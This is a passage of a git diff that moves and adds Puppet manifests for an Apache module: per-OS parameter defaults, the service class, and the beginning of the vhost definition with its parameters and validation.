$confd_dir = "${httpd_dir}/conf.d" + $mod_dir = "${httpd_dir}/mods-available" + $mod_enable_dir = "${httpd_dir}/mods-enabled" + $vhost_dir = "${httpd_dir}/sites-available" + $vhost_enable_dir = "${httpd_dir}/sites-enabled" + $conf_file = 'apache2.conf' + $ports_file = "${conf_dir}/ports.conf" + $pidfile = "\${APACHE_PID_FILE}" + $logroot = '/var/log/apache2' + $logroot_mode = undef + $lib_path = '/usr/lib/apache2/modules' + $mpm_module = 'worker' + $default_ssl_cert = '/etc/ssl/certs/ssl-cert-snakeoil.pem' + $default_ssl_key = '/etc/ssl/private/ssl-cert-snakeoil.key' + $ssl_certs_dir = '/etc/ssl/certs' + $ssl_sessioncache = "\${APACHE_RUN_DIR}/ssl_scache(512000)" + $suphp_addhandler = 'x-httpd-php' + $suphp_engine = 'off' + $suphp_configpath = '/etc/php5/apache2' + if ($::operatingsystem == 'Ubuntu' and versioncmp($::operatingsystemrelease, '16.04') < 0) or ($::operatingsystem == 'Debian' and versioncmp($::operatingsystemrelease, '9') < 0) { + # Only the major version is used here + $php_version = '5' + $mod_packages = { + 'auth_cas' => 'libapache2-mod-auth-cas', + 'auth_kerb' => 'libapache2-mod-auth-kerb', + 'auth_mellon' => 'libapache2-mod-auth-mellon', + 'authnz_pam' => 'libapache2-mod-authnz-pam', + 'dav_svn' => 'libapache2-svn', + 'fastcgi' => 'libapache2-mod-fastcgi', + 'fcgid' => 'libapache2-mod-fcgid', + 'geoip' => 'libapache2-mod-geoip', + 'intercept_form_submit' => 'libapache2-mod-intercept-form-submit', + 'lookup_identity' => 'libapache2-mod-lookup-identity', + 'nss' => 'libapache2-mod-nss', + 'pagespeed' => 'mod-pagespeed-stable', + 'passenger' => 'libapache2-mod-passenger', + 'perl' => 'libapache2-mod-perl2', + 'phpXXX' => 'libapache2-mod-phpXXX', + 'proxy_html' => 'libapache2-mod-proxy-html', + 'python' => 'libapache2-mod-python', + 'rpaf' => 'libapache2-mod-rpaf', + 'security' => 'libapache2-modsecurity', + 'shib2' => 'libapache2-mod-shib2', + 'suphp' => 'libapache2-mod-suphp', + 'wsgi' => 'libapache2-mod-wsgi', + 'xsendfile' => 'libapache2-mod-xsendfile', + } + } else { + # major.minor version used since Debian stretch and Ubuntu Xenial + $php_version = '7.0' + $mod_packages = { + 'auth_cas' => 'libapache2-mod-auth-cas', + 'auth_kerb' => 'libapache2-mod-auth-kerb', + 'auth_mellon' => 'libapache2-mod-auth-mellon', + 'authnz_pam' => 'libapache2-mod-authnz-pam', + 'dav_svn' => 'libapache2-svn', + 'fastcgi' => 'libapache2-mod-fastcgi', + 'fcgid' => 'libapache2-mod-fcgid', + 'geoip' => 'libapache2-mod-geoip', + 'intercept_form_submit' => 'libapache2-mod-intercept-form-submit', + 'lookup_identity' => 'libapache2-mod-lookup-identity', + 'nss' => 'libapache2-mod-nss', + 'pagespeed' => 'mod-pagespeed-stable', + 'passenger' => 'libapache2-mod-passenger', + 'perl' => 'libapache2-mod-perl2', + 'phpXXX' => 'libapache2-mod-phpXXX', + 'python' => 'libapache2-mod-python', + 'rpaf' => 'libapache2-mod-rpaf', + 'security' => 'libapache2-modsecurity', + 'shib2' => 'libapache2-mod-shib2', + 'suphp' => 'libapache2-mod-suphp', + 'wsgi' => 'libapache2-mod-wsgi', + 'xsendfile' => 'libapache2-mod-xsendfile', + } + } + $error_log = 'error.log' + $scriptalias = '/usr/lib/cgi-bin' + $access_log_file = 'access.log' + if $::osfamily == 'Debian' and versioncmp($::operatingsystemrelease, '8') < 0 { + $shib2_lib = 'mod_shib_22.so' + } else { + $shib2_lib = 'mod_shib2.so' + } + $mod_libs = { + 'shib2' => $shib2_lib, + } + $conf_template = 'apache/httpd.conf.erb' + $http_protocol_options = undef + $keepalive = 'Off' + $keepalive_timeout = 15 + $max_keepalive_requests = 100 + $fastcgi_lib_path = '/var/lib/apache2/fastcgi' + $mime_support_package = 'mime-support' + $mime_types_config = '/etc/mime.types' + if ($::operatingsystem == 'Ubuntu' and versioncmp($::operatingsystemrelease, '13.10') >= 0) or ($::operatingsystem == 'Debian' and versioncmp($::operatingsystemrelease, '8') >= 0) { + $docroot = '/var/www/html' + } else { + $docroot = '/var/www' + } + $cas_cookie_path = '/var/cache/apache2/mod_auth_cas/' + $mellon_lock_file = undef + $mellon_cache_size = undef + $mellon_post_directory = '/var/cache/apache2/mod_auth_mellon/' + $modsec_crs_package = 'modsecurity-crs' + $modsec_crs_path = '/usr/share/modsecurity-crs' + $modsec_dir = '/etc/modsecurity' + $secpcrematchlimit = 1500 + $secpcrematchlimitrecursion = 1500 + $modsec_secruleengine = 'On' + $modsec_default_rules = [ + 'base_rules/modsecurity_35_bad_robots.data', + 'base_rules/modsecurity_35_scanners.data', + 'base_rules/modsecurity_40_generic_attacks.data', + 'base_rules/modsecurity_50_outbound.data', + 'base_rules/modsecurity_50_outbound_malware.data', + 'base_rules/modsecurity_crs_20_protocol_violations.conf', + 'base_rules/modsecurity_crs_21_protocol_anomalies.conf', + 'base_rules/modsecurity_crs_23_request_limits.conf', + 'base_rules/modsecurity_crs_30_http_policy.conf', + 'base_rules/modsecurity_crs_35_bad_robots.conf', + 'base_rules/modsecurity_crs_40_generic_attacks.conf', + 'base_rules/modsecurity_crs_41_sql_injection_attacks.conf', + 'base_rules/modsecurity_crs_41_xss_attacks.conf', + 'base_rules/modsecurity_crs_42_tight_security.conf', + 'base_rules/modsecurity_crs_45_trojans.conf', + 'base_rules/modsecurity_crs_47_common_exceptions.conf', + 'base_rules/modsecurity_crs_49_inbound_blocking.conf', + 'base_rules/modsecurity_crs_50_outbound.conf', + 'base_rules/modsecurity_crs_59_outbound_blocking.conf', + 'base_rules/modsecurity_crs_60_correlation.conf', + ] + $alias_icons_path = '/usr/share/apache2/icons' + $error_documents_path = '/usr/share/apache2/error' + if ($::operatingsystem == 'Ubuntu' and versioncmp($::operatingsystemrelease, '13.10') >= 0) or ($::operatingsystem == 'Debian' and versioncmp($::operatingsystemrelease, '8') >= 0) { + $dev_packages = ['libaprutil1-dev', 'libapr1-dev', 'apache2-dev'] + } else { + $dev_packages = ['libaprutil1-dev', 'libapr1-dev', 'apache2-prefork-dev'] + } + + # + # Passenger-specific settings + # + + $passenger_conf_file = 'passenger.conf' + $passenger_conf_package_file = undef + + if ($::operatingsystem == 'Ubuntu' and versioncmp($::operatingsystemrelease, '14.04') < 0) or ($::operatingsystem == 'Debian' and versioncmp($::operatingsystemrelease, '8') < 0) { + $passenger_root = '/usr' + $passenger_ruby = '/usr/bin/ruby' + $passenger_default_ruby = undef + } else { + $passenger_root = '/usr/lib/ruby/vendor_ruby/phusion_passenger/locations.ini' + $passenger_ruby = undef + $passenger_default_ruby = '/usr/bin/ruby' + } + $wsgi_socket_prefix = undef + } elsif $::osfamily == 'FreeBSD' { + $user = 'www' + $group = 'www' + $root_group = 'wheel' + $apache_name = 'apache24' + $service_name = 'apache24' + $httpd_dir = '/usr/local/etc/apache24' + $server_root = '/usr/local' + $conf_dir = $httpd_dir + $confd_dir = "${httpd_dir}/Includes" + $mod_dir = "${httpd_dir}/Modules" + $mod_enable_dir = undef + $vhost_dir = "${httpd_dir}/Vhosts" + $vhost_enable_dir = undef + $conf_file = 'httpd.conf' + $ports_file = "${conf_dir}/ports.conf" + $pidfile = '/var/run/httpd.pid' + $logroot = '/var/log/apache24' + $logroot_mode = undef + $lib_path = '/usr/local/libexec/apache24' + $mpm_module = 'prefork' + $dev_packages = undef + $default_ssl_cert = '/usr/local/etc/apache24/server.crt' + $default_ssl_key = '/usr/local/etc/apache24/server.key' + $ssl_certs_dir = undef + $ssl_sessioncache = '/var/run/ssl_scache(512000)' + $passenger_conf_file = 'passenger.conf' + $passenger_conf_package_file = undef + $passenger_root = '/usr/local/lib/ruby/gems/2.0/gems/passenger-4.0.58' + $passenger_ruby = '/usr/local/bin/ruby' + $passenger_default_ruby = undef + $suphp_addhandler = 'php5-script' + $suphp_engine = 'off' + $suphp_configpath = undef + $php_version = '5' + $mod_packages = { + # NOTE: I list here only modules that are not included in www/apache24 + # NOTE: 'passenger' needs to enable APACHE_SUPPORT in make config + # NOTE: 'php' needs to enable APACHE option in make config + # NOTE: 'dav_svn' needs to enable MOD_DAV_SVN make config + # NOTE: not sure where the shibboleth should come from + 'auth_kerb' => 'www/mod_auth_kerb2', + 'fcgid' => 'www/mod_fcgid', + 'passenger' => 'www/rubygem-passenger', + 'perl' => 'www/mod_perl2', + 'phpXXX' => 'www/mod_phpXXX', + 'proxy_html' => 'www/mod_proxy_html', + 'python' => 'www/mod_python3', + 'wsgi' => 'www/mod_wsgi', + 'dav_svn' => 'devel/subversion', + 'xsendfile' => 'www/mod_xsendfile', + 'rpaf' => 'www/mod_rpaf2', + 'shib2' => 'security/shibboleth2-sp', + } + $mod_libs = { + } + $conf_template = 'apache/httpd.conf.erb' + $http_protocol_options = undef + $keepalive = 'Off' + $keepalive_timeout = 15 + $max_keepalive_requests = 100 + $fastcgi_lib_path = undef # TODO: revisit + $mime_support_package = 'misc/mime-support' + $mime_types_config = '/usr/local/etc/mime.types' + $wsgi_socket_prefix = undef + $docroot = '/usr/local/www/apache24/data' + $alias_icons_path = '/usr/local/www/apache24/icons' + $error_documents_path = '/usr/local/www/apache24/error' + $error_log = 'httpd-error.log' + $scriptalias = '/usr/local/www/apache24/cgi-bin' + $access_log_file = 'httpd-access.log' + } elsif $::osfamily == 'Gentoo' { + $user = 'apache' + $group = 'apache' + $root_group = 'wheel' + $apache_name = 'www-servers/apache' + $service_name = 'apache2' + $httpd_dir = '/etc/apache2' + $server_root = '/var/www' + $conf_dir = $httpd_dir + $confd_dir = "${httpd_dir}/conf.d" + $mod_dir = "${httpd_dir}/modules.d" + $mod_enable_dir = undef + $vhost_dir = "${httpd_dir}/vhosts.d" + $vhost_enable_dir = undef + $conf_file = 'httpd.conf' + $ports_file = "${conf_dir}/ports.conf" + $logroot = '/var/log/apache2' + $logroot_mode = undef + $lib_path = '/usr/lib/apache2/modules' + $mpm_module = 'prefork' + $dev_packages = undef + $default_ssl_cert = '/etc/ssl/apache2/server.crt' + $default_ssl_key = '/etc/ssl/apache2/server.key' + $ssl_certs_dir = '/etc/ssl/apache2' + $ssl_sessioncache = '/var/run/ssl_scache(512000)' + $passenger_root = '/usr' + $passenger_ruby = '/usr/bin/ruby' + $passenger_conf_file = 'passenger.conf' + $passenger_conf_package_file = undef + $passenger_default_ruby = undef + $suphp_addhandler = 'x-httpd-php' + $suphp_engine = 'off' + $suphp_configpath = '/etc/php5/apache2' + $php_version = '5' + $mod_packages = { + # NOTE: I list here only modules that are not included in www-servers/apache + 'auth_kerb' => 'www-apache/mod_auth_kerb', + 'authnz_external' => 'www-apache/mod_authnz_external', + 'fcgid' => 'www-apache/mod_fcgid', + 'passenger' => 'www-apache/passenger', + 'perl' => 'www-apache/mod_perl', + 'phpXXX' => 'dev-lang/php', + 'proxy_html' => 'www-apache/mod_proxy_html', + 'proxy_fcgi' => 'www-apache/mod_proxy_fcgi', + 'python' => 'www-apache/mod_python', + 'wsgi' => 'www-apache/mod_wsgi', + 'dav_svn' => 'dev-vcs/subversion', + 'xsendfile' => 'www-apache/mod_xsendfile', + 'rpaf' => 'www-apache/mod_rpaf', + 'xml2enc' => 'www-apache/mod_xml2enc', + } + $mod_libs = { + } + $conf_template = 'apache/httpd.conf.erb' + $http_protocol_options = undef + $keepalive = 'Off' + $keepalive_timeout = 15 + $max_keepalive_requests = 100 + $fastcgi_lib_path = undef # TODO: revisit + $mime_support_package = 'app-misc/mime-types' + $mime_types_config = '/etc/mime.types' + $wsgi_socket_prefix = undef + $docroot = '/var/www/localhost/htdocs' + $alias_icons_path = '/usr/share/apache2/icons' + $error_documents_path = '/usr/share/apache2/error' + $pidfile = '/var/run/apache2.pid' + $error_log = 'error.log' + $scriptalias = '/var/www/localhost/cgi-bin' + $access_log_file = 'access.log' + } elsif $::osfamily == 'Suse' { + $user = 'wwwrun' + $group = 'www' + $root_group = 'root' + $apache_name = 'apache2' + $service_name = 'apache2' + $httpd_dir = '/etc/apache2' + $server_root = '/etc/apache2' + $conf_dir = $httpd_dir + $confd_dir = "${httpd_dir}/conf.d" + $mod_dir = "${httpd_dir}/mods-available" + $mod_enable_dir = "${httpd_dir}/mods-enabled" + $vhost_dir = "${httpd_dir}/sites-available" + $vhost_enable_dir = "${httpd_dir}/sites-enabled" + $conf_file = 'httpd.conf' + $ports_file = "${conf_dir}/ports.conf" + $pidfile = '/var/run/httpd2.pid' + $logroot = '/var/log/apache2' + $logroot_mode = undef + $lib_path = '/usr/lib64/apache2' #changes for some modules based on mpm + $mpm_module = 'prefork' + $default_ssl_cert = '/etc/apache2/ssl.crt/server.crt' + $default_ssl_key = '/etc/apache2/ssl.key/server.key' + $ssl_certs_dir = '/etc/ssl/certs' + $ssl_sessioncache = '/var/lib/apache2/ssl_scache(512000)' + $suphp_addhandler = 'x-httpd-php' + $suphp_engine = 'off' + $suphp_configpath = '/etc/php5/apache2' + $php_version = '5' + if $::operatingsystemrelease < '11' or $::operatingsystemrelease >= '12' { + $mod_packages = { + 'auth_kerb' => 'apache2-mod_auth_kerb', + 'perl' => 'apache2-mod_perl', + 'php5' => 'apache2-mod_php5', + 'python' => 'apache2-mod_python', + 'security' => 'apache2-mod_security2', + 'worker' => 'apache2-worker', + } + } else { + $mod_packages = { + 'auth_kerb' => 'apache2-mod_auth_kerb', + 'perl' => 'apache2-mod_perl', + 'php5' => 'apache2-mod_php53', + 'python' => 'apache2-mod_python', + 'security' => 'apache2-mod_security2', + } + } + $mod_libs = { + 'security' => '/usr/lib64/apache2/mod_security2.so', + 'php53' => '/usr/lib64/apache2/mod_php5.so', + } + $conf_template = 'apache/httpd.conf.erb' + $http_protocol_options = undef + $keepalive = 'Off' + $keepalive_timeout = 15 + $max_keepalive_requests = 100 + $fastcgi_lib_path = '/var/lib/apache2/fastcgi' + $mime_support_package = 'aaa_base' + $mime_types_config = '/etc/mime.types' + $docroot = '/srv/www' + $cas_cookie_path = '/var/cache/apache2/mod_auth_cas/' + $mellon_lock_file = undef + $mellon_cache_size = undef + $mellon_post_directory = undef + $alias_icons_path = '/usr/share/apache2/icons' + $error_documents_path = '/usr/share/apache2/error' + $dev_packages = ['libapr-util1-devel', 'libapr1-devel', 'libcurl-devel'] + $modsec_crs_package = undef + $modsec_crs_path = undef + $modsec_default_rules = undef + $modsec_dir = '/etc/apache2/modsecurity' + $secpcrematchlimit = 1500 + $secpcrematchlimitrecursion = 1500 + $modsec_secruleengine = 'On' + $error_log = 'error.log' + $scriptalias = '/usr/lib/cgi-bin' + $access_log_file = 'access.log' + + # + # Passenger-specific settings + # + + $passenger_conf_file = 'passenger.conf' + $passenger_conf_package_file = undef + + $passenger_root = '/usr/lib64/ruby/gems/1.8/gems/passenger-5.0.30' + $passenger_ruby = '/usr/bin/ruby' + $passenger_default_ruby = '/usr/bin/ruby' + $wsgi_socket_prefix = undef + + } else { + fail("Class['apache::params']: Unsupported osfamily: ${::osfamily}") + } +} diff --git a/modules/services/unix/http/apache/manifests/peruser/multiplexer.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/peruser/multiplexer.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/peruser/multiplexer.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/peruser/multiplexer.pp diff --git a/modules/services/unix/http/apache/manifests/peruser/processor.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/peruser/processor.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/peruser/processor.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/peruser/processor.pp diff --git a/modules/services/unix/http/apache/manifests/php.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/php.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/php.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/php.pp diff --git a/modules/services/unix/http/apache/manifests/proxy.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/proxy.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/proxy.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/proxy.pp diff --git a/modules/services/unix/http/apache/manifests/python.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/python.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/python.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/python.pp diff --git a/modules/services/unix/http/apache/manifests/security/rule_link.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/security/rule_link.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/security/rule_link.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/security/rule_link.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/service.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/service.pp new file mode 100644 index 000000000..ff082dccb --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/service.pp @@ -0,0 +1,51 @@ +# Class: apache::service +# +# Manages the Apache daemon +# +# Parameters: +# +# Actions: +# - Manage Apache service +# +# Requires: +# +# Sample Usage: +# +# sometype { 'foo': +# notify => Class['apache::service'], +# } +# +# +class apache::service ( + $service_name = $::apache::params::service_name, + Boolean $service_enable = true, + $service_ensure = 'running', + Boolean $service_manage = true, + $service_restart = undef +) { + + # The base class must be included first because parameter defaults depend on it + if ! defined(Class['apache::params']) { + fail('You must include the apache::params class before using any apache defined resources') + } + case $service_ensure { + true, false, 'running', 'stopped': { + $_service_ensure = $service_ensure + } + default: { + $_service_ensure = undef + } + } + + $service_hasrestart = $service_restart == undef + + if $service_manage { + service { 'httpd': + ensure => $_service_ensure, + name => $service_name, + enable => $service_enable, + restart => $service_restart, + hasrestart => $service_hasrestart, + } + } +} diff --git a/modules/services/unix/http/apache/manifests/ssl.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/ssl.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/ssl.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/ssl.pp diff --git a/modules/services/unix/http/apache/manifests/version.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/version.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/version.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/version.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/vhost.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/vhost.pp new file mode 100644 index 000000000..98bbfcb57 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/vhost.pp @@ -0,0 +1,1099 @@ +# See README.md for usage information +define apache::vhost( + Variant[Boolean,String] $docroot, + $manage_docroot = true, + $virtual_docroot = false, + $port = undef, + $ip = undef, + Boolean $ip_based = false, + $add_listen = true, + $docroot_owner = 'root', + $docroot_group = $::apache::params::root_group, + $docroot_mode = undef, + $serveradmin = undef, + Boolean $ssl = false, + $ssl_cert = $::apache::default_ssl_cert, + $ssl_key = $::apache::default_ssl_key, + $ssl_chain = $::apache::default_ssl_chain, + $ssl_ca = $::apache::default_ssl_ca, + $ssl_crl_path = $::apache::default_ssl_crl_path, + $ssl_crl = $::apache::default_ssl_crl, + $ssl_crl_check = $::apache::default_ssl_crl_check, + $ssl_certs_dir = $::apache::params::ssl_certs_dir, + $ssl_protocol = undef, + $ssl_cipher = undef, + $ssl_honorcipherorder = undef, + $ssl_verify_client = undef, + $ssl_verify_depth = undef, + Optional[Enum['none', 'optional', 'require', 'optional_no_ca']] $ssl_proxy_verify = undef, + $ssl_proxy_verify_depth = undef, + $ssl_proxy_ca_cert = undef, + Optional[Enum['on', 'off']] $ssl_proxy_check_peer_cn = undef, + Optional[Enum['on', 'off']] $ssl_proxy_check_peer_name = undef, + Optional[Enum['on', 'off']] $ssl_proxy_check_peer_expire = undef, + $ssl_proxy_machine_cert = undef, + $ssl_proxy_protocol = undef, + $ssl_options = undef, + $ssl_openssl_conf_cmd = undef, + Boolean $ssl_proxyengine = false, + Optional[Boolean] $ssl_stapling = undef, + $ssl_stapling_timeout = undef, + $ssl_stapling_return_errors = undef, + $priority = undef, + Boolean $default_vhost = false, + $servername = $name, + $serveraliases = [], + $options = ['Indexes','FollowSymLinks','MultiViews'], + $override = ['None'], + $directoryindex = '', + $vhost_name = '*', + $logroot = $::apache::logroot, + Enum['directory', 'absent'] $logroot_ensure = 'directory', + $logroot_mode = undef, + $logroot_owner = undef, + $logroot_group = undef, + $log_level = undef, + Boolean $access_log = true, + $access_log_file = false, + $access_log_pipe = false, + $access_log_syslog = false, + $access_log_format = false, + $access_log_env_var = false, + $access_logs = undef, + $aliases = undef, + $directories = undef, + Boolean $error_log = true, + $error_log_file = undef, + $error_log_pipe = undef, + $error_log_syslog = undef, + $http_protocol_options = undef, + $modsec_audit_log = undef, + $modsec_audit_log_file = undef, + $modsec_audit_log_pipe = undef, + $error_documents = [], + Optional[Variant[Stdlib::Absolutepath, Enum['disabled']]] $fallbackresource = undef, + $scriptalias = undef, + $scriptaliases = [], + $proxy_dest = undef, + $proxy_dest_match = undef, + $proxy_dest_reverse_match = undef, + $proxy_pass = undef, + $proxy_pass_match = undef, + $suphp_addhandler = $::apache::params::suphp_addhandler, + Enum['on', 'off'] $suphp_engine = $::apache::params::suphp_engine, + $suphp_configpath = $::apache::params::suphp_configpath, + $php_flags = {}, + $php_values = {}, + $php_admin_flags = {}, + $php_admin_values = {}, + $no_proxy_uris = [], + $no_proxy_uris_match = [], + $proxy_preserve_host = false, + $proxy_add_headers = undef, + $proxy_error_override = false, + $redirect_source = '/', + $redirect_dest = undef, + $redirect_status = undef, + $redirectmatch_status = undef, + $redirectmatch_regexp = undef, + $redirectmatch_dest = undef, + $rack_base_uris = undef, + $passenger_base_uris = undef, + $headers = undef, + $request_headers = undef, + $filters = undef, + Optional[Array] $rewrites = undef, + $rewrite_base = undef, + $rewrite_rule = undef, + $rewrite_cond = undef, + $rewrite_inherit = false, + $setenv = [], + $setenvif = [], + $setenvifnocase = [], + $block = [], + Enum['absent', 'present'] $ensure = 'present', + $wsgi_application_group = undef, + $wsgi_daemon_process = undef, + Optional[Hash] $wsgi_daemon_process_options = undef, + $wsgi_import_script = undef, + Optional[Hash] $wsgi_import_script_options = undef, + $wsgi_process_group = undef, + Optional[Hash] $wsgi_script_aliases_match = undef, + Optional[Hash] $wsgi_script_aliases = undef, + Optional[Enum['on', 'off', 'On', 'Off']] $wsgi_pass_authorization = undef, + $wsgi_chunked_request = undef, + Optional[String] $custom_fragment = undef, + Optional[Hash] $itk = undef, + $action = undef, + $fastcgi_server = undef, + $fastcgi_socket = undef, + $fastcgi_dir = undef, + $fastcgi_idle_timeout = undef, + $additional_includes = [], + $use_optional_includes = $::apache::use_optional_includes, + $apache_version = $::apache::apache_version, + Optional[Enum['on', 'off', 'nodecode']] $allow_encoded_slashes = undef, + $suexec_user_group = undef, + $passenger_app_root = undef, + $passenger_app_env = undef, + $passenger_ruby = undef, + $passenger_min_instances = undef, + $passenger_max_requests = undef, + $passenger_start_timeout = undef, + $passenger_pre_start = undef, + $passenger_user = undef, + $passenger_high_performance = undef, + $passenger_nodejs = undef, + Optional[Boolean] $passenger_sticky_sessions = undef, + $passenger_startup_file = undef, + $add_default_charset = undef, + $modsec_disable_vhost = undef, + $modsec_disable_ids = undef, + $modsec_disable_ips = undef, + $modsec_disable_msgs = undef, + $modsec_disable_tags = undef, + $modsec_body_limit = undef, + $jk_mounts = undef, + Boolean $auth_kerb = false, + $krb_method_negotiate = 'on', + $krb_method_k5passwd = 'on', + $krb_authoritative = 'on', + $krb_auth_realms = [], + $krb_5keytab = undef, + $krb_local_user_mapping = undef, + $krb_verify_kdc = 'on', + $krb_servicename = 'HTTP', + $krb_save_credentials = 'off', + Optional[Enum['on', 'off']] $keepalive = undef, + $keepalive_timeout = undef, + $max_keepalive_requests = undef, + $cas_attribute_prefix = undef, + $cas_attribute_delimiter = undef, + $cas_scrub_request_headers = undef, + $cas_sso_enabled = undef, + $cas_login_url = undef, + $cas_validate_url = undef, + $cas_validate_saml = undef, +) { + + # The base class must be included first because it is used by parameter defaults + if ! defined(Class['apache']) { + fail('You must include the apache base class before using any apache defined resources') + } + + $apache_name = $::apache::apache_name + + if $http_protocol_options != undef { + validate_re($http_protocol_options, '^((Strict|Unsafe)?\s*(\b(RegisteredMethods|LenientMethods))?\s*(\b(Allow0\.9|Require1\.0))?)$', + "${http_protocol_options} is not supported for http_protocol_options. + Allowed value is any sequence of the following alternative values: + 'Strict' or Unsafe, 'RegisteredMethods' or 'LenientMethods', and + 'Allow0.9' or 'Require1.0'.") + } + if $rewrites { + unless empty($rewrites) { + $rewrites_flattened = delete_undef_values(flatten([$rewrites])) + validate_hash($rewrites_flattened[0]) + } + } + + # Input validation begins + + if $suexec_user_group { + validate_re($suexec_user_group, '^[\w-]+ [\w-]+$', + "${suexec_user_group} is not supported for suexec_user_group. Must be 'user group'.") + } + + if $log_level { + validate_apache_log_level($log_level) + } + + if $access_log_file and $access_log_pipe { + fail("Apache::Vhost[${name}]: 'access_log_file' and 'access_log_pipe' cannot be defined at the same time") + } + + if $error_log_file and $error_log_pipe { + fail("Apache::Vhost[${name}]: 'error_log_file' and 'error_log_pipe' cannot be defined at the same time") + } + + if $modsec_audit_log_file and $modsec_audit_log_pipe { + fail("Apache::Vhost[${name}]: 'modsec_audit_log_file' and 'modsec_audit_log_pipe' cannot be defined at the same time") + } + + if $ssl_proxy_verify_depth { + validate_integer($ssl_proxy_verify_depth) + } + + # Input validation ends + + if $ssl and $ensure == 'present' { + include ::apache::mod::ssl + # Required for the AddType lines. + include ::apache::mod::mime + } + + if $auth_kerb and $ensure == 'present' { + include ::apache::mod::auth_kerb + } + + if $virtual_docroot { + include ::apache::mod::vhost_alias + } + + if $wsgi_daemon_process { + include ::apache::mod::wsgi + } + + if $suexec_user_group { + include ::apache::mod::suexec + } + + if $passenger_app_root or $passenger_app_env or $passenger_ruby or $passenger_min_instances or $passenger_max_requests or $passenger_start_timeout or $passenger_pre_start or $passenger_user or $passenger_high_performance or $passenger_nodejs or $passenger_sticky_sessions or $passenger_startup_file { + include ::apache::mod::passenger + } + + # Configure the defaultness of a vhost + if $priority { + $priority_real = "${priority}-" + } elsif $priority == false { + $priority_real = '' + } elsif $default_vhost { + $priority_real = '10-' + } else { + $priority_real = '25-' + } + + ## Apache include does not always work with spaces in the filename + $filename = regsubst($name, ' ', '_', 'G') + + # This ensures that the docroot exists + # But enables it to be specified across multiple vhost resources + if $manage_docroot and $docroot and ! defined(File[$docroot]) { + file { $docroot: + ensure => directory, + owner => $docroot_owner, + group => $docroot_group, + mode => $docroot_mode, + require => Package['httpd'], + before => Concat["${priority_real}${filename}.conf"], + } + } + + # Same as above, but for logroot + if ! defined(File[$logroot]) { + file { $logroot: + ensure => $logroot_ensure, + owner => $logroot_owner, + group => $logroot_group, + mode => $logroot_mode, + require => Package['httpd'], + before => Concat["${priority_real}${filename}.conf"], + } + } + + + # Is apache::mod::passenger enabled (or apache::mod['passenger']) + $passenger_enabled = defined(Apache::Mod['passenger']) + + # Is apache::mod::shib enabled (or apache::mod['shib2']) + $shibboleth_enabled = defined(Apache::Mod['shib2']) + + # Is apache::mod::cas enabled (or apache::mod['cas']) + $cas_enabled = defined(Apache::Mod['auth_cas']) + + if $access_log and !$access_logs { + if $access_log_file { + if $access_log_file =~ /^\// { + # Absolute path provided - don't prepend $logroot + $_logs_dest = $access_log_file + } else { + $_logs_dest = "${logroot}/${access_log_file}" + } + } elsif $access_log_pipe { + $_logs_dest = $access_log_pipe + } elsif $access_log_syslog { + $_logs_dest = $access_log_syslog + } else { + $_logs_dest = undef + } + $_access_logs = [{ + 'file' => $access_log_file, + 'pipe' => $access_log_pipe, + 'syslog' => $access_log_syslog, + 'format' => $access_log_format, + 'env' => $access_log_env_var + }] + } elsif $access_logs { + if !is_array($access_logs) { + fail("Apache::Vhost[${name}]: access_logs must be an array of hashes") + } + $_access_logs = $access_logs + } + + if $error_log_file { + if $error_log_file =~ /^\// { + # Absolute path provided - don't prepend $logroot + $error_log_destination = $error_log_file + } else { + $error_log_destination = "${logroot}/${error_log_file}" + } + } elsif $error_log_pipe { + $error_log_destination = $error_log_pipe + } elsif $error_log_syslog { + $error_log_destination = $error_log_syslog + } else { + if $ssl { + $error_log_destination = "${logroot}/${name}_error_ssl.log" + } else { + $error_log_destination = "${logroot}/${name}_error.log" + } + } + + if $modsec_audit_log == false { + $modsec_audit_log_destination = undef + } elsif $modsec_audit_log_file { + $modsec_audit_log_destination = "${logroot}/${modsec_audit_log_file}" + } elsif $modsec_audit_log_pipe { + $modsec_audit_log_destination = $modsec_audit_log_pipe + } elsif $modsec_audit_log { + if $ssl { + $modsec_audit_log_destination = "${logroot}/${name}_security_ssl.log" + } else { + $modsec_audit_log_destination = "${logroot}/${name}_security.log" + } + } else { + $modsec_audit_log_destination = undef + } + + + if $ip { + $_ip = any2array(enclose_ipv6($ip)) + if $port { + $_port = any2array($port) + $listen_addr_port = split(inline_template("<%= @_ip.product(@_port).map {|x| x.join(':') }.join(',')%>"), ',') + $nvh_addr_port = split(inline_template("<%= @_ip.product(@_port).map {|x| x.join(':') }.join(',')%>"), ',') + } else { + $listen_addr_port = undef + $nvh_addr_port = $_ip + if ! $servername and ! $ip_based { + fail("Apache::Vhost[${name}]: must pass 'ip' and/or 'port' parameters for name-based vhosts") + } + } + } else { + if $port { + $listen_addr_port = $port + $nvh_addr_port = prefix(any2array($port),"${vhost_name}:") + } else { + $listen_addr_port = undef + $nvh_addr_port = $name + if ! $servername and $servername != '' { + fail("Apache::Vhost[${name}]: must pass 'ip' and/or 'port' parameters, and/or 